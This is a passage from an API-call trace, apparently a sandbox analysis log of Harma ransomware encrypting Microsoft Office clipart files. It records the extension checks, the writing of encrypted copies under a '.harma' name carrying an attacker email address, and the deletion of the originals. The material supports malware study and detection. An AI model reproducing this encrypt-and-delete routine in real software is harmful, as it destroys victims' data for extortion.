Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0156.848] lstrlenW (lpString=".1cd") returned 4 [0156.848] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0156.848] lstrlenW (lpString=".jpg") returned 4 [0156.848] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.848] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0156.848] lstrlenW (lpString="FD02158_.WMF") returned 12 [0156.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0156.848] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1648) returned 1 [0156.848] CloseHandle (hObject=0x374) returned 1 [0156.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf")) returned 0x20 [0156.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0156.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0156.849] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.849] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0156.850] GetLastError () returned 0x0 [0156.850] ReadFile (in: hFile=0x374, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x670, lpOverlapped=0x0) returned 1 [0156.868] WriteFile (in: hFile=0x360, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x680, lpOverlapped=0x0) returned 1 [0156.869] ReadFile (in: hFile=0x374, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.869] WriteFile (in: hFile=0x360, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.869] SetEndOfFile (hFile=0x360) returned 1 [0156.870] CloseHandle (hObject=0x360) returned 1 [0156.870] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.870] SetEndOfFile (hFile=0x374) returned 1 [0156.877] CloseHandle (hObject=0x374) returned 1 [0156.877] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0156.878] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf")) returned 1 [0156.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0156.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0156.878] lstrlenW (lpString=".doc") returned 4 [0156.878] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.878] lstrlenW (lpString=".docx") returned 5 [0156.878] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.878] lstrlenW (lpString=".pdf") returned 4 [0156.878] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.879] lstrlenW (lpString=".xls") returned 4 [0156.879] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.879] lstrlenW (lpString=".xlsx") returned 5 [0156.879] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.879] lstrlenW (lpString=".ppt") returned 4 [0156.879] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0156.879] lstrlenW (lpString=".zip") returned 4 [0156.879] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.879] lstrlenW (lpString=".rar") returned 4 [0156.879] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.879] lstrlenW (lpString=".bz2") returned 4 [0156.879] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.879] lstrlenW (lpString=".7z") returned 3 [0156.879] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0156.879] lstrlenW (lpString=".dbf") returned 4 [0156.879] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0156.879] lstrlenW (lpString=".1cd") returned 4 [0156.879] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0156.879] lstrlenW (lpString=".jpg") returned 4 [0156.879] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0156.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0156.879] lstrlenW (lpString=".doc") returned 4 [0156.879] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.879] lstrlenW (lpString=".docx") returned 5 [0156.879] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.880] lstrlenW (lpString=".pdf") returned 4 [0156.880] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.880] lstrlenW (lpString=".xls") returned 4 [0156.880] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.880] lstrlenW (lpString=".xlsx") returned 5 [0156.880] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.880] lstrlenW (lpString=".ppt") returned 4 [0156.880] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0156.880] lstrlenW (lpString=".zip") returned 4 [0156.880] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.880] lstrlenW (lpString=".rar") returned 4 [0156.880] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.880] lstrlenW (lpString=".bz2") returned 4 [0156.880] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.880] lstrlenW (lpString=".7z") returned 3 [0156.880] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0156.880] lstrlenW (lpString=".dbf") returned 4 [0156.880] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0156.880] lstrlenW (lpString=".1cd") returned 4 [0156.880] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0156.880] lstrlenW (lpString=".jpg") returned 4 [0156.880] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.880] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0156.880] lstrlenW (lpString="HH00057_.WMF") returned 12 [0156.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0156.886] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=3764) returned 1 [0156.886] CloseHandle (hObject=0x340) returned 1 [0156.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf")) returned 0x20 [0156.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0156.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0156.888] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.888] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0156.889] GetLastError () returned 0x0 [0156.889] ReadFile (in: hFile=0x340, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0xeb4, lpOverlapped=0x0) returned 1 [0156.910] WriteFile (in: hFile=0x330, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec0, lpOverlapped=0x0) returned 1 [0156.910] ReadFile (in: hFile=0x340, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.910] WriteFile (in: hFile=0x330, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.911] SetEndOfFile (hFile=0x330) returned 1 [0156.911] CloseHandle (hObject=0x330) returned 1 [0156.911] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.911] SetEndOfFile (hFile=0x340) returned 1 [0156.913] CloseHandle (hObject=0x340) returned 1 [0156.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0156.913] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf")) returned 1 [0156.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0156.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0156.914] lstrlenW (lpString=".doc") returned 4 [0156.914] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.914] lstrlenW (lpString=".docx") returned 5 [0156.914] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.914] lstrlenW (lpString=".pdf") returned 4 [0156.914] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.914] lstrlenW (lpString=".xls") returned 4 [0156.914] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.914] lstrlenW (lpString=".xlsx") returned 5 [0156.914] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.914] lstrlenW (lpString=".ppt") returned 4 [0156.914] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0156.914] lstrlenW (lpString=".zip") returned 4 [0156.914] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.914] lstrlenW (lpString=".rar") returned 4 [0156.914] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.914] lstrlenW (lpString=".bz2") returned 4 [0156.914] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.914] lstrlenW (lpString=".7z") returned 3 [0156.914] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0156.915] lstrlenW (lpString=".dbf") returned 4 [0156.915] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0156.915] lstrlenW (lpString=".1cd") returned 4 [0156.915] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0156.915] lstrlenW (lpString=".jpg") returned 4 [0156.915] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0156.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0156.915] lstrlenW (lpString=".doc") returned 4 [0156.915] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.915] lstrlenW (lpString=".docx") returned 5 [0156.915] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.915] lstrlenW (lpString=".pdf") returned 4 [0156.915] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.915] lstrlenW (lpString=".xls") returned 4 [0156.915] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.915] lstrlenW (lpString=".xlsx") returned 5 [0156.915] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.915] lstrlenW (lpString=".ppt") returned 4 [0156.915] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0156.915] lstrlenW (lpString=".zip") returned 4 [0156.915] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.915] lstrlenW (lpString=".rar") returned 4 [0156.915] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.915] lstrlenW (lpString=".bz2") returned 4 [0156.915] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.915] lstrlenW (lpString=".7z") returned 3 [0156.916] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0156.916] lstrlenW (lpString=".dbf") returned 4 [0156.916] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0156.916] lstrlenW (lpString=".1cd") returned 4 [0156.916] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0156.916] lstrlenW (lpString=".jpg") returned 4 [0156.916] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.916] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0156.916] lstrlenW (lpString="HH00235_.WMF") returned 12 [0156.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0156.917] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1026) returned 1 [0156.917] CloseHandle (hObject=0x340) returned 1 [0156.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf")) returned 0x20 [0156.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0156.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0156.917] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.917] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0156.918] GetLastError () returned 0x0 [0156.919] ReadFile (in: hFile=0x340, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x402, lpOverlapped=0x0) returned 1 [0156.929] WriteFile (in: hFile=0x330, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x410, lpOverlapped=0x0) returned 1 [0156.930] ReadFile (in: hFile=0x340, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.930] WriteFile (in: hFile=0x330, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.930] SetEndOfFile (hFile=0x330) returned 1 [0156.930] CloseHandle (hObject=0x330) returned 1 [0156.931] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.931] SetEndOfFile (hFile=0x340) returned 1 [0156.933] CloseHandle (hObject=0x340) returned 1 [0156.933] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0156.933] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf")) returned 1 [0156.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0156.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0156.934] lstrlenW (lpString=".doc") returned 4 [0156.934] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.934] lstrlenW (lpString=".docx") returned 5 [0156.934] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.934] lstrlenW (lpString=".pdf") returned 4 [0156.934] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.934] lstrlenW (lpString=".xls") returned 4 [0156.934] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.934] lstrlenW (lpString=".xlsx") returned 5 [0156.934] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.934] lstrlenW (lpString=".ppt") returned 4 [0156.934] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0156.934] lstrlenW (lpString=".zip") returned 4 [0156.934] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.934] lstrlenW (lpString=".rar") returned 4 [0156.934] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.934] lstrlenW (lpString=".bz2") returned 4 [0156.934] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.934] lstrlenW (lpString=".7z") returned 3 [0156.934] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0156.934] lstrlenW (lpString=".dbf") returned 4 [0156.934] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0156.934] lstrlenW (lpString=".1cd") returned 4 [0156.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0156.935] lstrlenW (lpString=".jpg") returned 4 [0156.935] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0157.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0157.193] lstrlenW (lpString=".doc") returned 4 [0157.193] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.193] lstrlenW (lpString=".docx") returned 5 [0157.193] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.193] lstrlenW (lpString=".pdf") returned 4 [0157.193] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.193] lstrlenW (lpString=".xls") returned 4 [0157.193] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.193] lstrlenW (lpString=".xlsx") returned 5 [0157.193] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.193] lstrlenW (lpString=".ppt") returned 4 [0157.193] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0157.193] lstrlenW (lpString=".zip") returned 4 [0157.193] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.193] lstrlenW (lpString=".rar") returned 4 [0157.193] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.193] lstrlenW (lpString=".bz2") returned 4 [0157.194] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.194] lstrlenW (lpString=".7z") returned 3 [0157.194] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0157.194] lstrlenW (lpString=".dbf") returned 4 [0157.194] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0157.194] lstrlenW (lpString=".1cd") returned 4 [0157.194] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0157.194] lstrlenW (lpString=".jpg") returned 4 [0157.194] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.194] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0157.194] lstrlenW (lpString="HH00524_.WMF") returned 12 [0157.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, 